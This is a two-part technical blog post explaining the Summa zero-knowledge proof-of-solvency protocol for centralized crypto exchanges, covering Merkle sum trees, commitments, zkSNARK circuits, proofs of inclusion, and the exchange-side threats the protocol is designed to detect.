[Enrico Bottazzi](https://github.com/enricobottazzi) /n/n Special thanks to Yi-Hsiu Chen (Coinbase), Shashank Agrawal (Coinbase), Stenton Mayne (kn0x1y), Michelle Lai and Kostas Chalkias (Mysten Labs) for review and discussion. /n/n Part 1 introduces the main concepts behind the Summa protocol and can be skipped if already familiar to the reader. /n/n [Part 2](https://mirror.xyz/privacy-scaling-explorations.eth/f2ZfkPXZpvc6DUmG5-SyLjjYf78bcOcFeiJX2tb2hS0) dives into a full Proof of Solvency flow.]]> <![CDATA[ ## Part 1 - Introduction In 1494 [Luca Pacioli](https://en.wikipedia.org/wiki/Luca_Pacioli), a Franciscan Friar, published _Summa de arithmetica, geometria, Proportioni et proportionalita_. The book laid out for the first time in history the principles of double-entry bookkeeping and paved the way for the creation of the study field known as accounting. ![](/articles/from-cex-to-ccex-with-summa-part-1/FIFNNkC2YB8uvr3wjAV0E.webp) More than 5 centuries later, book authentication still relies on the same principles. The financial integrity of the businesses is guaranteed by government licenses or manual background checks performed by some authorities or auditors. In the context of cryptocurrencies, the fragility of such a financial paradigm becomes evident every time a major centralized exchange (CEX) blows up. ![](/articles/from-cex-to-ccex-with-summa-part-1/W2GtQw6kUenW4f7kCWd-Y.webp) In November 2022, Vitalik shared a [blog post](https://vitalik.ca/general/2022/11/19/proof_of_solvency.html) where he envisioned a transition from the "don't be evil" aspiring-good-guy CEX to a more secure cryptographically constrained exchange (CCEX). [Summa](https://github.com/summa-dev) was created in March 2023 within the [PSE Team](https://pse.dev/projects/summa) to build the tooling to power such a transition: **[summa-solvency](https://github.com/summa-dev/summa-solvency)** is a zero-knowledge proof of solvency solution. This blog post provides a technical overview of such a solution. The goal is to gather feedback from the community to establish an industry-wide standard for Proof of Solvency (also known as [Proof of Reserves](https://niccarter.info/proof-of-reserves/)). Exchanges and any custodial wallet solution should freely fork and adapt the repository to their needs, moving away from self-established practices. In the short term, the goal is to [collaborate with exchanges during a Beta program](https://docs.google.com/forms/d/e/1FAIpQLSctGXMIUSdUahQr5DvTuc2cpOj9XVYQGo8_A3WhPleCXEcdIw/viewform) to help them bring Summa to production, gain insight into their operations and requirements, and foster mutual learning. Before diving into the specification of Summa, Part 1 of the blog post introduces the three main ideas underlying Summa, namely: 1. Proof of Solvency 2. Cryptographic Commitments 3. Zero Knowledge Proof Readers familiar with these concepts can skip them and jump to [Part 2: Summa Protocol.](https://mirror.xyz/privacy-scaling-explorations.eth/f2ZfkPXZpvc6DUmG5-SyLjjYf78bcOcFeiJX2tb2hS0) ## Part 1 - Introduction ### Proof of Solvency The role of a Centralized Exchange (Exchange) is to collect deposits from users and custody cryptocurrencies on their behalf. Those **assets** are managed by the Exchange's private keys and live on the blockchain. The deposit of a user into an Exchange is not necessarily recorded on the blockchain, usually only being recorded on the Exchange’s servers. While this allows saving blockchain transaction fees for the users, a malicious Exchange could unilaterally modify the record of a user balance without the user’s consent and without leaving any cryptographic trace of the manipulation. These deposits are defined as **liabilities** of the Exchange because they are owed by the Exchange to its customers. ![](/articles/from-cex-to-ccex-with-summa-part-1/INvah5glHUj9sWKgUpk_8.webp) The relation between a user and an Exchange is based on a trust agreement that for every deposit, the Exchange will hold a corresponding amount of (the same!) cryptocurrency within their wallet. As long as the Exchange abides by this trust-based agreement, the Exchange is **solvent** and users are confident that they can safely withdraw at any time. Whenever trust is involved, there are many ways it could go wrong. Two relevant examples are: - The liabilities denominated in a cryptocurrency are backed by a different one (FTX, I’m looking at you!). Given the volatility of the relative value of these two currencies and the lack of liquidity in the market, the Exchange can not guarantee a safe withdrawal of ETH to all its users at any time. - The liabilities denominated in a cryptocurrency (i.e. ETH) are not backed at all (or just a fraction of) and the Exchange is YOLO investing the deposits of the users. Again, the Exchange cannot guarantee a safe withdrawal to its users. A Proof of Solvency protocol provides a solution for that. The cryptographic constraint that must be met by the Exchange is ![](/articles/from-cex-to-ccex-with-summa-part-1/zX6JjpoXE48utjJitckri.webp) in which _n_ are all the addresses controlled by the Exchange holding a specific asset, and _m_ are all the users of the Exchange that have invested in that asset. Note that: - This constraint should be satisfied **separately** for **every** asset supported by the Exchange. - In the formula, _asset,_ and _liability_ refer to their state at a time _t_. Performing Proof of Solvency is not a one-time operation but should be performed many times (rounds). The more frequent these rounds are, the more reliable the Exchange is. ### Cryptographic Commitments [Cryptographic Commitment Schemes](https://en.wikipedia.org/wiki/Commitment_scheme) are a fundamental component in cryptography, particularly in protocols that require a party to commit to a value without revealing it initially and then reveal the value (or just some property of the value) later. The simplest and most popular cryptographic commitment scheme is hashing. Let us consider a scenario in which Alice wants to publicly commit to a prediction about an upcoming event, say the first scorer in a football match, without revealing her prediction until the match has ended. Alice can take her winner prediction "BenjaminPavard", run a hash function on top of this, and publish the resulting output (hash digest) on her Twitter profile. At this point, no one can learn Alice's prediction just from the hash digest. ![](/articles/from-cex-to-ccex-with-summa-part-1/_uLicpcXlCPnFB2Y40Jd5.webp) In fact, to decrease the likelihood that someone unmasks Alice's hash and discovers her prediction, it would be safer to add some random large number (technically known as _salt_) together with the prediction as hash input, in order to avoid brute-force and [Rainbow Table attacks](https://en.wikipedia.org/wiki/Rainbow_table). After the end of the event, she can reveal her prediction _"BenjaminPavard"_. Anyone can re-run the hash function on the prediction to check whether it matches the _hashDigest_ previously published on Twitter. If Alice reveals a different prediction, such as _"TheoHernandez"_, the result of hashing such a prediction will result in something different from the previously published _hashDigest_. Cryptographic commitment schemes guarantee two very cool properties: 1. **Hiding**: The commitment hides the value, and everyone who sees the commitment cannot determine the actual value until Alice decides to reveal it. 2. **Binding**: Once Alice has made the commitment, she cannot change the value she committed to. In other words, when revealing, the committer cannot reveal different values as these wouldn’t match the original commitment. That’s because modern hash functions are computationally collision-free and we cannot find two inputs that result in the same hash digest Another popular commitment scheme, useful when dealing with larger data structures, is a [Merkle Tree](https://en.wikipedia.org/wiki/Merkle_tree). In a Merkle Tree, each data entry is hashed and inserted as a _leaf_ of the tree. Each leaf is hashed with the sibling one to produce a middle node. This process is repeated for each level of the tree until it gets to a single node at the top, called the _Merkle Root_, which acts as a commitment to the entire set of data. Merkle Trees are especially useful when you want to prove the existence (typically known as "inclusion proofs") of a specific piece of entry data within a large set without revealing the entire set in a time-efficient manner. Summa makes use of a modified version of a Merkle Tree as a cryptographic commitment scheme which is a **[Merkle Sum Tree](https://github.com/summa-dev/summa-solvency/blob/master/zk_prover/src/merkle_sum_tree/mst.rs)**. In the context of Summa, the data entries to the Merkle Sum Tree are the liabilities of the Exchange, while the _Merkle Root_ contains a commitment to the state of the Exchange's liabilities. ![](/articles/from-cex-to-ccex-with-summa-part-1/5LLmG0yppR3mjvIZFjf6U.webp) The core properties of a Merkle Sum Tree are: - Each entry of a Merkle Sum Tree is a pair of a username and the associated balance. - Each Leaf Node contains a hash and a balance. The hash is equal to `H(username, balance)`. There is a 1-1 relationship between entries and leaf nodes. The balance of a leaf node is equal to the balance of the associated entry, and ditto for the username. - Each Middle Node contains a hash and a balance. The hash is equal to `H(LeftChild.hash, LeftChild.balance, RightChild.hash, RightChild.balance).` The balance is equal to the sum of the balances of the two child nodes. - The Root Node contains a hash and a balance - Analogous to a traditional Merkle Tree, the Merkle Root contains a commitment to the state of the entries - In addition to a traditional Merkle Tree the Merkle Root makes it possible to easily fetch the sum of balances of entries of the tree. While the example uses a balance in only a single cryptocurrency (ETH), in Summa balances in multiple currencies are supported in the same Merkle Sum Tree Let's consider the case in which an Exchange wants to prove to user Carl that he has been accounted for correctly in their database at time _t_. Here are the steps: 1. The Exchange locally builds a Merkle Sum Tree out of its database state at time _t_ 2. The Exchange publishes the Merkle Root of the tree, which represents a commitment to the state of the entire tree 3. The Exchange generates a Merkle Proof of Inclusion for Carl. That is, all the nodes (in blue) that Carl needs to verify his inclusion in the tree 4. Carl computes his corresponding leaf node starting from his data (username and ETH balance) at time _t_ and performs the subsequent hashing with the nodes provided in the Merkle Proof until he gets to the Merkle Root. If the resulting Merkle Root matches the one committed by the Exchange at step 2, Carl can be confident that his account has been accounted for correctly in the database at time _t_. The operation of verifying the correct inclusion in the tree is described in the following pseudo-algorithm. ![](/articles/from-cex-to-ccex-with-summa-part-1/XM9utrZ7Z-MtocwVU-Yux.webp) ```python def verify_merkle_proof(leaf_data, merkle_proof, committed_root): current_node = compute_leaf_node(leaf_data) for proof_node in merkle_proof: # Decide which child (left or right) the current node is # This information can be part of the merkle_proof or determined otherwise if is_left_child(current_node, proof_node): current_node = compute_internal_node(current_node, proof_node) else: current_node = compute_internal_node(proof_node, current_node) return current_node == committed_root leaf_data_for_carl = ("Carl", 10) # This would be Carl's username and ETH balance at time t assert verify_merkle_proof(leaf_data_for_carl, merkle_proof, committed_root) ``` Let's take a step back and analyze what has been achieved in the protocol. The Exchange has proven the correct inclusion of some users' data within their database without having to reveal the whole database to the public (since Carl only needed the blue nodes). Furthermore, Carl only needed to perform 3 hashing operations to verify his correct inclusion. This number is always equal to _log₂n_ where _n_ in the number of entries in the tree. The verification of a correct inclusion in a Merkle Sum Tree with over 130M entries only requires 27 hashing operations! While this is already a big achievement both in terms of efficiency and data protection, precious information is leaked in the process. The Merkle Proof reveals to Carl that an unknown user has a balance of 15 ETH. Furthermore, it also reveals the partial sums of the balances of _some_ users and the aggregated liabilities of the Exchange. By tracking the progression of these data across time Carl gets to know the trades of its sibling leaf Daisy, and, more importantly, how the aggregated liabilities change through time, which represents the main insight into the performance of the Exchange as a business. Furthermore, the users of the Exchange could come together and reconstruct the whole database of the Exchange by pooling together each of their individual Merkle Proofs. The next section introduces the concept of Zero Knowledge Proof. Its properties combined with the Merkle Sum Tree commitment scheme would allow an Exchange to perform a fully cryptographically auditable Proof of Solvency while keeping all sensitive information private. The reader may have noticed that this cryptographic commitment scheme only covers the liabilities while the assets have not been mentioned yet. The concept is introduced in a later section. ### Zero Knowledge Proof A core concept that I often use to explain zero-knowledge proof, or, more specifically, [zkSNARKs](https://vitalik.ca/general/2021/01/26/snarks.html) is **Computational Integrity Guarantee**. A computation is defined as any set of rules (or **constraints**) that can be encoded into a computer program. A computation can be as simple as performing the sum of 2 numbers. ![](/articles/from-cex-to-ccex-with-summa-part-1/bNUf8fJ3hhNZUC0Fjo31z.webp) A more complex computation is validating blockchain transactions and bundling them into a block. ![](/articles/from-cex-to-ccex-with-summa-part-1/nxXaAGAgoGQ3wUs1x_YxZ.webp) You can see that a computation is made of a list of inputs, a program that sets the constraints of the computation, and a list of outputs (it can be more than one). Most of the time, after an actor performs the computation, there are other people who need to verify that the computation was done correctly. This is especially relevant in the context of zero-trust such as block building (or mining). More formally, given a computation with constraints known by everyone, a Prover wants to prove to a Verifier that the output is the result of running a computation on certain inputs. The naive way to achieve such **Computational Integrity Guarantee** is for the Verifier to rerun the same computation with the same inputs and check that the output matches. ![](/articles/from-cex-to-ccex-with-summa-part-1/YyQ7OXyLwYeS9LoD0rjN9.webp) Such an approach has two main issues: - The verification time is exactly the same as the time it takes to perform the computation. In order to achieve consensus to a new block header, every node has to perform this computationally intensive operation, which is the main bottleneck to Blockchain scalability. - To achieve computational integrity guarantee the list of inputs and outputs has to be public. zkSNARKs elegantly solve these 2 issues by providing a new protocol to run any arbitrary computation that, together with the output, also returns a proof π. Such proof, despite being very tiny and faster to verify than running the original computation, carries enough information to provide the **Computational Integrity Guarantee**. ![](/articles/from-cex-to-ccex-with-summa-part-1/dNRWawjIRWEOoFXhV8uQK.webp) The Verifier doesn't need to re-run the whole algorithm again but only needs to run a lightweight program using π as input. While the time required by the original computation grows proportionally to its complexity or the size of the inputs, the time to verify a zkSNARK proof grows logarithmically with the complexity/input size, or is even constant. A further characteristic of such protocols is that the prover can selectively decide whether to keep an input of the computation private or public. The proof provides the verifier with **zero knowledge** of potentially any of the inputs of the computation. Summa leverages the properties of zkSNARKs to allow an Exchange to generate a Proof of Solvency that: - Provides a cryptographic-based guarantee that the statement is satisfied. - Can be verified quickly on any consumer device - Keeps the sensitive data of the Exchange (and its users) private As anything in engineering, switching to a zkSNARK Protocol comes with trade-offs: - **Trusted Setup**: each zkSNARK protocol relies on a [trusted setup](https://vitalik.ca/general/2022/03/14/trustedsetup.html). You can think of the setup as the parameters that guarantee the integrity of a protocol. These parameters are the result of a ceremony in which many parties contribute some random inputs. If these parties get together and recompose the whole input used to create the parameters, they can potentially attack a ZK protocol and generate valid proofs even without performing the computation that follows the pre-defined rules. - **Prover Overhead**: the reduction of the verification time comes at the cost of proving time. In fact, running the same computation inside a ZK circuit takes, on average, > 100x times more than performing it without having to generate a ZK proof. Summa uses [Halo2](https://github.com/privacy-scaling-explorations/halo2), a proving system that was originally built by [ZCash](https://github.com/zcash/halo2). Beyond high proving speed, Halo2 allows the reuse of existing and reputable trusted setups such as the [Hermez 1.0 Trusted Setup](https://docs.hermez.io/Hermez_1.0/about/security/#multi-party-computation-for-the-trusted-setup) for any application-specific circuit. The reader is now fully equipped with the background to understand the functioning of any part of the Summa ZK Proof of Solvency Protocol. ## End Part 1 [Part 2](https://mirror.xyz/privacy-scaling-explorations.eth/f2ZfkPXZpvc6DUmG5-SyLjjYf78bcOcFeiJX2tb2hS0) dives into a full Proof of Solvency flow. At each step, a detailed explanation of the cryptographic tooling being used is provided. The path toward establishing an industry-wide standard for proof of solvency requires the definition of a protocol that is agreed upon by Exchanges, Cryptographers, and Application Developers. The goal is to collaborate with Exchanges during a Beta program to bring Summa to production and, eventually, come up with a [EIP](https://github.com/summa-dev/eip-draft) to define a standard. Complete this [Google Form](https://forms.gle/uYNnHq3vjNHi5iRh9) if your Exchange (or Custodial Wallet) is interested in joining the program. Furthermore, if you are interested in sharing feedback or simply entering the community discussion, join the [Summa Solvency Telegram Chat](https://t.me/summazk).Summa is made possible because of contributions from [JinHwan](https://github.com/sifnoc), [Alex Kuzmin](https://github.com/alxkzmn), [Enrico Bottazzi](https://github.com/enricobottazzi). ]]> summa proof of solvency zero-knowledge proofs merkle tree cryptography privacy security centralized exchange computational integrity infrastructure/protocol <![CDATA[From CEX to CCEX with Summa Part 2]]> https://pse.dev/blog/from-cex-to-ccex-with-summa-part-2 https://pse.dev/blog/from-cex-to-ccex-with-summa-part-2 Thu, 14 Sep 2023 00:00:00 GMT <![CDATA[This post was written by [Enrico Bottazzi](https://github.com/enricobottazzi) /n/n Special thanks to Yi-Hsiu Chen (Coinbase), Shashank Agrawal (Coinbase), Stenton Mayne (kn0x1y), Michelle Lai and Kostas Chalkias (Mysten Labs) for review and discussion. /n/n [Part 1](https://mirror.xyz/privacy-scaling-explorations.eth/_1Y6ExFD_Rs3oDxwx5_kWAj_Tl_L9c0Hm7E6SVJei0A) introduces the main concepts behind the Summa protocol. /n/n Part 2 dives into a full Proof of Solvency flow.]]> <![CDATA[ ## Part 2 - Summa Protocol This section analyzes the flow of an Exchange performing Proof of Solvency using Summa. The core idea to enable the transition from CEX to CCEX is to build _ZK programs_ that enforce the constraints that define the Solvency of an Exchange. The proof generated by the Exchange running these programs is then verified either automatically by a smart contract or by a user. Each step describes in detail the core cryptographic components of the protocol imposing these cryptographic constraints. When possible, benchmarks related to the performance of such components are also provided. The actors involved in the Protocol are the Exchange, the users of the Exchange, and the [Summa Smart Contract](https://github.com/summa-dev/summa-solvency/blob/master/contracts/src/Summa.sol) (SSC) (to be deployed on a EVM-compatible blockchain). The Smart Contract, and therefore the protocol, supports any cryptocurrency beyond ETH or ERC20. The protocol is made of 2 macro-phases: - `AddressOwnership:` In this phase, the Exchange is required to provide a signature proof that they control a specific set of addresses and submit it to the SSC. This phase happens asynchronously to a Proof of Solvency Round. - `Proof of Solvency Round:` In this phase, the Exchange needs to prove its solvency at a specific timestamp _t_ Leveraging zkSNARKs enforces computational integrity guarantee **while** protecting sensitive data of the Exchange which is used as input to the proofs. Summa is designed to protect Exchanges’ business intelligence data such as: - The number of its users - The individual balances of these users - The aggregated balances of any group of users - The aggregated balances of the whole user base, namely the total amount deposited on the Exchange - The pattern of changes of these data across time In the following example, we’ll describe an Exchange performing¹ a full Proof of Solvency flow involving multiple currencies at once. ### AddressOwnership In this phase, the Exchange has to prove ownership of a certain set of addresses. This information is later used in the Proof of Solvency round run at _t_ to infer `Exchange owns 0x123 -> 0x123 owns 20 ETH at t -> Exchange owns 20 ETH at t` The Exchange needs to sign an off-chain arbitrary message like _"these funds belong to XYZExchange"_ for each of these addresses, and then submit these signatures, together with the addresses and the message, to the SSC. ![](/articles/from-cex-to-ccex-with-summa-part-2/91YwYrQX4G0dQvsmQhILf.webp) The SSC operates optimistically by storing the triples `{signature, address, message}` within its state **without** performing any verification of their correctness. Any external actor can verify the correctness of those signatures and, if anything wrong is spotted, kick off a dispute. The ownership of an address can be proven only once and "reused" across any number of Proof of Solvency rounds (although providing it at each round would decrease the likelihood of a [friend attack](https://hackmd.io/j85xBCYZRjWVI0eeXWudwA#Proof-of-Assets-PoA---attacks-by-the-exchange)). If the Exchange moves the funds to a new address for any reason, this procedure has to be run again only for this new address. This phase happens asynchronously to a Proof of Solvency round. Up to now, only crypto addresses have been taken into account. But what if the Exchange is holding reserves in fiat currencies? In that case, the Proof of Ownership of these assets can still be carried out by, inevitably, having to trust the bank. In such a scenario, the bank would need to sign a certificate that attests that _XYZExchange holds x$ in their bank_. This certificate can be used during a Proof of Solvency Round (next section). ## Proof of Solvency Round In this phase, both the assets and the liabilities are snapshotted at a specific timestamp `t` to kick off a Proof of Solvency Round. Within a round, the Exchange needs to provide a ZK `ProofOfSolvency` that constrains their assets to be greater than their liabilities at `t`. Furthermore, the Exchange is required to generate a `ProofOfInclusion` for each user, which proves that the user has been accounted for correctly within the liabilities tree. ![](/articles/from-cex-to-ccex-with-summa-part-2/F83GSyDCOEo8yRVKWZCE_.webp) ### 1\. Snapshot In order for a Proof of Solvency round to start, the Exchange has to snapshot the state of its _liabilities_ and its _assets_ at a specific _timestamp t_. For the liabilities, it means building a Merkle Sum Tree² out of the database containing the users' entries at _t_ . The logic of building the Merkle Sum Tree is the one [previously described](https://mirror.xyz/privacy-scaling-explorations.eth/_1Y6ExFD_Rs3oDxwx5_kWAj_Tl_L9c0Hm7E6SVJei0A). For the assets, it means fetching, from an archive node, the balances of the addresses controlled by the Exchange, as proven in **AddressOwnership**, at the next available block at _t_ for each asset involved in the Proof of Solvency. This operation happens entirely locally on the Exchange premises. No ZK program is involved at this step. No data is shared with the public. Building the Merkle Sum Tree doesn’t require auditing or oversight. Any malicious operation that the Exchange can perform here, such as: - Adding users with negative balances - Excluding users - Understating users’ balances will be detected when the Proof of Inclusion (step 3) is handed over to individual users for verification. Note that the protocol doesn’t have to worry if the Exchange is adding fake users to the Merkle Sum Tree. Each user added to the tree would increase the liabilities of the Exchange which is against their interest. This is true as long as 1) the user balance is not negative and 2) the accumulated sum of the balances doesn’t overflow the prime field. These constraints are enforced at step 3. ### 2\. Proof of Solvency In order to prove³ their Solvency at time _t_, the Exchange needs to provide cryptographic proof that constraints the assets controlled by the Exchange at _t_ to be greater than the liabilities at _t_. It is necessary to avoid the liabilities denominated in a cryptocurrency being backed by assets denominated in a different currency. This may result in a solvency “only on paper”, that may crash due to a lack of liquidity or rate volatility. Because of this, each asset is compared against the total liabilities denominated in the same cryptocurrency. The Proof of Solvency is generated leveraging the following ZK [Circuit](https://github.com/summa-dev/summa-solvency/blob/master/zk_prover/src/circuits/solvency.rs). ![](/articles/from-cex-to-ccex-with-summa-part-2/ueB3hQDWFAAZhHSZLV2vN.webp) **inputs** - The private inputs `penultimate_level_left_hash, penultimate_level_left_balances[], penultimate_level_right_hash and penultimate_level_right_balances[]` represent the two nodes in the penultimate level of the Merkle sum tree and can be extracted from the Merkle Sum Tree data structure build in the previous step. - The public input `ccex_asset_sums[]` represents the amount of assets owned by the Exchange for each cryptocurrency that is part of the Round as per the assets Snapshot performed in the previous step. **constraints** - Perform a hashing of the penultimate nodes of the tree to get the Root Node (`root_hash` and `root_balances[]`). `root_balances[]` is an intermediary value that represents an array of the balances stored in the Root Node. In particular, Summa uses Poseidon hashing, which is a very efficient hashing algorithm when used inside zkSNARKs. - Checks that the liability sums for each cryptocurrency in the `root_balances[]` are less than the respective `ccex_asset_sums[]` passed as input In the example, the Exchange is generating a Proof of Solvency for multiple assets `N_ASSETS`,  therefore the length of the arrays `penultimate_level_left_balances[]`, `penultimate_level_right_balances[]`, `ccex_asset_sums[]` , and `root_balances[]` is equal to `N_ASSETS.` **(public) output** - `root_hash` of the Merkle Sum Tree After the proof is being generated locally by the Exchange, it is sent for verification to the SSC along with its public inputs `ccex_asset_sums[]`, `root_hash` and the timestamp. SSC verifies the validity of the proof. On successful verification, the Contract stores the public inputs. The immutability of a Smart Contract guarantees that people have consistent views of such information. If the same data were published on a centralized server, these would be subject to modifications from a malicious exchange. This attack is described in [Broken Proofs of Solvency in Blockchain Custodial Wallets and Exchanges, Chalkias, Chatzigiannis, Ji - 2022 - Paragraph 4.4](https://eprint.iacr.org/2022/043.pdf). At this point, it's worth noting that no constraints on `ccex_asset_sums[]` are performed within the Circuit nor within the Smart Contract. Instead, Summa adopts an optimistic approach in which these data are accepted as they are. As in the case of  `AddressOwnership`, external actors can kick off a dispute if the Exchange is trying to claim ownership of assets in excess of what they actually own. Spotting a malicious exchange is very straightforward: it only requires checking whether the assets controlled by the Exchange Addresses at the next available block at timestamp `t` match `ccex_asset_sums[].` ### 3\. Proof of Inclusion Up to this point the Exchange has proven its solvency, but the liabilities could have been calculated maliciously. For example, an Exchange might have arbitrarily excluded "whales" from the liabilities tree to achieve dishonest proof of solvency. Proof of Inclusion means proving that a user, identified by their username and balances denominated in different currencies, has been accounted for correctly in the liabilities. In practice, it means generating a ZK proof that an entry `username -> balanceEth`, `balanceBTC`, ... is included in a Merkle sum tree with a root equal to the one published onc-hain in the previous step. The Proof of Inclusion is generated⁴ leveraging the following zk [Circuit](https://github.com/summa-dev/summa-solvency/blob/master/zk_prover/src/circuits/merkle_sum_tree.rs). ![](/articles/from-cex-to-ccex-with-summa-part-2/ERA8zoNXOyP0Wk7ZQxdpU.webp) **inputs** - The private inputs `username` and `balances[]` represent the data related to the user whose proof of inclusion is being generated. - The private inputs `path_indices[]`, `path_element_hashes[]` and `path_element_balances[][]` represent the Merkle Proof for the user leaf node. - The public input `leaf_hash` is generated by hashing the concatenation of `username` and `balances[]`. Note that it would have been functionally the same to expose `username` and `balances[]` as public inputs of the circuit instead of `leaf_hash` but that would have made the proof subject to private data leaks if accessed by an adversarial actor. Instead, by only exposing `leaf_hash`, a malicious actor that comes across the proof cannot access any user-related data. **constraints** - For the first level of the Merkle Tree, `leaf_hash` and `balances` represent the current Node while p`ath_element_hashes[0]` and `path_element_balances[0][]` represents the sibling Node. - Performs the hashing between the current Node and the sibling Node `H(leaf_hash, balances[0], ..., balances[n], path_element_hashes[0], path_element_balances[0][0], path_element_balances[0][n])` to get the hash of the next Node. In particular, `path_indices[0]` is a binary value that indicates the relative position between the current Node and the sibling Node. - Constrains each value in `balances[]` and `path_element_balances[0][]` to be within the range of 14 bytes to avoid overflow and negative values being added to the tree. - For each currency `i` performs the sum between `balances[i]` of the current Node and the `path_element_balances[0][i]` of the sibling Node to get the balances of the next Node. - For any remaining level `j` of the Merkle Tree, the next Node from level `j-1` represents the current node, while `path_element_hashes[j]` and `path_element_balances[j][]` represents the sibling Node - Performs the hashing between the current Node and the corresponding sibling Node to get the hash of the next Node - Constrains each balance of current Node and each balance of the corresponding sibling Node to be within the range of 14 bytes to avoid overflow and negative values being added to the tree. - For each currency `i` perform the sum between the balances of the current Node and the balances of the sibling Node to get the balances of the next Node. In the example, the Exchange is generating a Proof of Solvency for multiple assets `(N_ASSETS)`. All the users' information is stored in a Merkle Sum Tree with height `LEVELS`. `path_indices` and `path_element_hashes` are arrays of length `LEVELS`. `path_element_balances` is a bidimensional array in which the first dimension is the `LEVELS` and the second is `N_ASSETS` . **(public) output** - `root_hash` of the Merkle Sum Tree result of the last level of hashing. The proof is generated by the Exchange and shared with each individual user. Nothing is recorded on a blockchain in this process. The proof doesn't reveal to the receiving user any information about the balances of any other users, the number of the users of the Exchange or even the aggregated liabilities of the Exchange. The verification of the π of Inclusion happens locally on the user device. It involves verifying that: - The cryptographic proof is valid - The `leaf_hash`, public input of the circuit, matches the combination `H(username, balance[0], ..., balance[n])` of the user with balances as snapshotted at _t_ - The `root_hash`, public output of the circuit, matches the one published on-chain in step 3. If any user finds out that they haven't been included in the Merkle Sum Tree, or have been included with an understated balance, a warning related to the potential non-solvency of the Exchange has to be raised, and a dispute should open. The rule is simple: if enough users request a Proof of Inclusion and they can all verify it, it becomes evident that the Exchange is not lying or understating its liabilities. If just one user cannot verify their π of Inclusion, it means that the Exchange is lying about its liabilities (and, therefore, its solvency). At the current state of ZK research, the user has to verify the correct inclusion inside the Merkle Sum Tree **in each** Proof of Solvency Round. An [experimental feature](https://github.com/summa-dev/summa-solvency/pull/153) using more advanced Folding Schemes, such as [Nova](https://www.youtube.com/watch?v=SwonTtOQzAk), would allow users to verify their correct inclusion in any round **up to the current round** with a single tiny proof. ## What makes for a good Proof of Solvency Summa provides the cryptography layer required for an Exchange to run a Proof of Solvency. But that's not all; there are further procedures outside of the Summa protocol that determine the legitimacy of a Proof of Solvency process. ### Incentive Mechanism As explained in the **Proof of Inclusion** section, the more users verify their correct inclusion in the Liability Tree, the more sound this proof is. If not enough users verify their Proof of Inclusions, a malicious Exchange can manipulate or discard the liabilities of users and still be able to submit a valid Proof of Solvency without being detected. The probability of this to happen is denoted as the **failure probability**. The Failure Probability is common to any Proof of Solvency scheme as described by [Generalized Proof of Liabilities, Chalkias and Ji - section 5](https://eprint.iacr.org/2021/1350.pdf). A finding of the paper is that within an Exchange of 150𝑀 users, only 0.05% of users verifying inclusion proofs can guarantee an overwhelming chance of detecting an adversarial Exchange manipulating 0.01% of the entries in the Liabilities Tree. To reduce the Failure Probability, the Exchange is invited to run programs to incentivize users to perform the Proof of Inclusion Verification. For example, the Exchange can provide a discount trading fee for a limited period of time for each user that successfully performs the Proof Verification. On top of that, the percentage of users that performed such verification can be shared with the public as a metric of the soundness of such a Proof of Solvency process. ### Proof of Inclusion Retrieval The finding related to Failure Probability described in the previous paragraph relies on the hypothesis that the Exchange doesn’t know which users will verify their inclusion proof in advance. Instead, if the Exchange knows this information, they could exclude from the Liabilities Tree those users who won’t verify their correct inclusion. This would lead to a higher failure probability. But how would the Exchange know? If the process of retrieving the Proof of Inclusion is performed on demand by the user, for example, passing through the Exchange UI, the Exchange gets to know which users are actually performing the verification. If this process is repeated across many rounds, the Exchange can forecast with high probability the users who are not likely to perform verification. A solution to this issue is to store the proofs on a distributed file system such as IPFS (remember that the proof doesn’t reveal any sensitive data about the Exchange’s user) Users would fetch the data from a network of nodes. As long as these nodes don’t collude with the Exchange, the Exchange won’t know which proof has been fetched and which has not. An even more exotic solution is to rely on [Private Information Retrieval](https://en.wikipedia.org/wiki/Private_information_retrieval) techniques. This solution necessitates that the Exchange generates all Proofs of Inclusion simultaneously. Even though this operation is infinitely parallelizable, it introduces an overhead for the Exchange when compared to the on-demand proof generation solution. A further cost for Exchange involves the storage of such proofs. ### Frequency Proof of Solvency refers to a specific snapshot in time. Even though the Exchange might result in solvent at _t_ nothing stops them from going insolvent at _t+1s_. The Exchange can potentially borrow money just to perform the Proof of Solvency and then return it as soon as it is completed. Increasing the frequency of Proof of Solvency rounds makes such [attacks](https://hackmd.io/@summa/SJYZUtpA2) impractical. [BitMEX](https://blog.bitmex.com/bitmex-provides-snapshot-update-to-proof-of-reserves-proof-of-liabilities/) performs it on a bi-weekly basis. While this is already a remarkable achievement, given the technology provided by Summa, this can be performed on a per-minute basis. From a performance point of view, the main bottleneck is the creation and update of the Merkle Sum Tree. This process can be sped up by parallelization being performed on machines with many cores. Surprisingly, Prover time is not a bottleneck, given that proof can be generated in the orders of seconds (or milliseconds) on any consumer device. Another solution to avoid such attacks is to enforce proof of solvency in the past. Practically, it means that the Exchange is asked to perform a proof of solvency round related to a randomly sampled past timestamp. ### Independent Dispute Resolution Committee The whole Proof of Solvency flow requires oversight on the actions performed by the Exchange at three steps: - When the Exchange is submitting the `AddressOwnership` proof, the validity of the signatures must be checked - When the Exchange is submitting the `ProofOfSolvency`, the validity of the `asset_sums` used as input must be checked - When the users verifies their `ProofOfInclusion`, the validity of the user data used as input must be verified. The action of performing the first two verification might be overwhelming for many users. Instead, a set of committees (independent of Summa and any of the Exchange) might be assigned to perform such verification and raise a flag whenever malicious proof is submitted. While the first two verifications can be performed by anyone, the last one can only be validated by the user that is receiving the proof itself, since he/she is the only one (beyond the Exchange) that has access to their user data. Note that the Exchange can unilaterally modify the users' data in their database (and even in the interface that the users interact with). Because of that, the resolution of a dispute regarding the correct accounting of a user within the liabilities tree is not a trivial task as described by [Generalized Proof of Liabilities, Chalkias and Ji - section 4.2](https://eprint.iacr.org/2021/1350.pdf) A solution to this is to bind these data to a timestamped commitment signed by both the User and the Exchange. By signing such data, the user would approve its status. Therefore any non-signed data added to the liabilities tree can be unanimously identified as malicious. ### UX Once a user receives a Proof of Inclusion, there are many ways in which the verification process can be performed. For example, the whole verification can be performed by clicking a magic _verify_ button. Given that the premise of a Proof of Solvency protocol is to not trust the Exchange, it is likely that a user won't trust the black-boxed API that the Exchange provides to verify the proof. A more transparent way to design the verification flow is to allow the users to fork a repo and run the verification code locally. A similar approach is adopted by both [BitMEX](https://blog.bitmex.com/bitmex-provides-snapshot-update-to-proof-of-reserves-proof-of-liabilities/) and [Binance](https://www.binance.com/en/proof-of-reserves). While this latter approach is preferred, it also may seem intimidating and time-consuming for many users. A third way would be to have a user-friendly open-source interface (or, even better, many interfaces) run by independent actors that allow the verification of such proofs. In such a scenario, the soundness of the verification process is guaranteed by the auditability of the code and by the independent nature of the operator, without sacrificing the UX. 